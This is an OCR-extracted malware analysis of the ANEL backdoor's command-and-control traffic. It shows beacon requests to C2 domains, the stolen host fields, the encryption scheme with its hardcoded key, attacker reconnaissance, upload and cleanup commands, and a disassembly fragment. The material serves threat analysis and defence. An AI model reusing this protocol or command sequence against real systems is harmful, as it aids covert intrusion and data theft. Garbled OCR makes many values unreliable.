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Figure 1: Communication flow of ANEL
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1. HTTP GET Request

GET /index/?gVwEC=mu/ZqlVcWVNQbnwRsAESxymWSOFBNGTEtcUQKIMEMCmgPy&UIhj1=0a9Ct3T+
+CL3XTY1Huw8 /v I=&fMGkc=3eULYvKkOFKVCgrgKekabgM=81YvAu=dzbCs50PQBULi&/PiHTXc=hHpVG/
8CgNScdhknydpthkyI=8yMp=AXUZgFTcIQ5FfolHoYMyt391ig/GjStrmIg==8Rg9968=/8d49gTr5/
COKAvLCMg/TyI= HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.8; 5LCC2;
LMET CLR 2.8.58727; .NET CLR 2.5.38729; .NET CLR 3.8.38729; Media Center PC £.8;
.MET4.8C; .MNET4.8E; InfoPath.3)

Host: contacts.rvenee.com

Connection: Keep-Alive

Cache-Control: no-cache

Figure 2: Example of HTTP GET Request

ANEL inserts the infected machine’s encrypted information into the request URI. The format rule
that insert information is follows:

e GET /page/?<Random  String>=<1st information>&<Random  String>=<2nd
information>&............ &<Random String>=<Nth information>

The sending information is as follows:

Process ID of ANEL

MD5 that calculate PC name and GUID strings
PC Name

TimeStamp

OS Version

User Name

Timezone Information

Current Directory

ANEL Version




The encryption method is as follows:
1. Encrypt Blowfish(all ANEL version use same key="this is the encrypt key”)
2. Encrypt XOR and add XOR value to bottom of data

3. Encrypt Base64

ProcessID \J
MDS ( PCHGUID) AN \J W11 2ed@ BT a1\ k74 \xea’
PC Name

TimeStamp

05 Versiaon

User MName
Timezone :
CurrentDirectory:
ANEL Version

Figure 3: Example of decrypted sending information




2. HTTP GET Response

HTTP/1.1 200 OK

Date: Thu, 82 Nov 2017 ©8:32:17 GMT

Server: Apache

Pragma: no-cache

Cache-Control: private, no-cache, no-store, must-revalidate

Expires: -1

Content-Type: application/octet-stream

Transfer-Encoding: chunked

Connection: Keep-Alive
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Figure 4: Example of HTTP GET Response

ANEL inserts command and hacking tools as well as the 2" stage of ANEL into the body of the
HTTP GET response. Blowfish is the only encryption method used and the key in this instance
is the same as HTTP GET request.




com m and

dirc¥users¥

exec getpass.exe

ver
netview /dom ain
dir

tasklist /v
dirOracle

dirc¥users¥<UserNameA>

up load —file eventd I¥acceventexe —save
C ¥Program D ata¥0 rac le¥Java¥acceventexe

up load —file eventd I¥eventdll-save

C ¥Program D ata¥0 rac le¥Java¥eventdll
dirc¥users¥<UserName A>¥Desktop

execm ailexe

up load —file eventd I¥ lena_http.b in —save

C ¥Program D ata¥0 rac le¥ Java¥ssssss.ddd

dirc ¥users¥<UserName A> ¥Docum ents

dirc ¥users¥<UserName A> ¥Docum ents¥0utlok 77 1 JL
dirC ¥users¥pub lic¥

dirc¥users¥<UserNam e A> ¥Docum ents¥0utlook 77 1 JL
ipconfig

netstart

dirc¥users¥<UserName A> ¥desktop

delC ¥Program D ata¥0 rac le¥ Java¥* /T /q

dirc ¥users¥<UserNam e B> ¥desktop

rd C ¥P rogram D ata¥0 rac le¥Java /s /q

netshare

wm ic LOGICALD ISK getnam e,D escription,filesystem ,size,freespace

ipconfig /all
dird ¥
system info

Figure 5: Command list that was executed by ANEL 5.1.1 rc (“Z74)V” means “File”)




3. HTTP POST Request

POST /page/?qswLKE=HybOfEf2500b6MINIZVSKIV2ADKSMX1/ /382¢ FwdyoZQqTOmBRa0f +w=REQ7 =7t IZenqvb153COHRCONIxews HTTP/1.1
Content-Type: multipart/form-data; boundarys.--ccvvemnmmmnnmrnnnnnannn 7dabetwr jpgmcr

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/a.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR
3,5.30729; .NET CLR 3,0.30729; Media Center PC 6.0; InfoPath.3)

Host: trems.rvence.com

Content-Length: 1541

Connection: Keep-Alive

Cache-Control: no-cache

----------------------------- Tdmbetwr jpgmcr
Content-Disposition: form-data; name~"file"
Content-Type: application/octet-stream
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Figure 6: Example of HTTP POST Request

ANEL also inserts the encrypted infected machine’s information into the POST request URI. The
format rules that the insert information is the same as the GET request, but the information in
this case, is relatively few.

The sending information is as follows:

* Process ID of ANEL

+  MDS5 that calculate PC name and GUID strings
+ PCName

+  TimeStamp




When ANEL sends the result of the commands, ANEL inserts the result into the body of the
POST request. This malware determines the strings for boundary, and inserts boundary strings
before and after the result of the command. ANEL also sets boundary strings at the Content-
Type header.

The boundary format is as follows:

"

7d<Random 12 strings>"

mov byte ptr [ebptvar_4], 8Bh
call [@oenerateRandstr

push eax

push offset avd G 7d"
lea eax, [ebptvar D3]

H T // starts at 1@@89695

;o try {

may byte ptr [ebptvar_4], 12
call sub_18887E36R

add esp, 18h

push 1

lea esi, [ebpt+var_38)]

call imemcpy_ @

push 1

lea esi, [ebptcbSize]

call {imemcpy_ 8

mov [ebpt+var_AB], @Fh

mov [ebp+var_AC], ebx

mov [ebp+var_BC], bl

lea eax, [ebptvar_38)]

push offset aContentTypeMul ; "Content-Type: multipart/form-data; boun™...
push eax

lea edi, [ebptvar D3]

Figure 7: Function that generate boundary and Content-Type header
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Figure 8: Example of decrypted sending information (result of ipconfig command)




4. HTTP POST Response

HTTP/1.1 2060 OK

Date: Thu, ©2 Nov 2017 ©8:32:17 GMT

Server: Apache

Pragma: no-cache

Cache-Control: private, no-cache, no-store, must-revalidate
Expires: -1

Content-Type: application/octet-stream

Transfer-Encoding: chunked

Connection: Keep-Alive

0

Figure 9: Example of HTTP POST Response

ANEL only sends the response for the command result.
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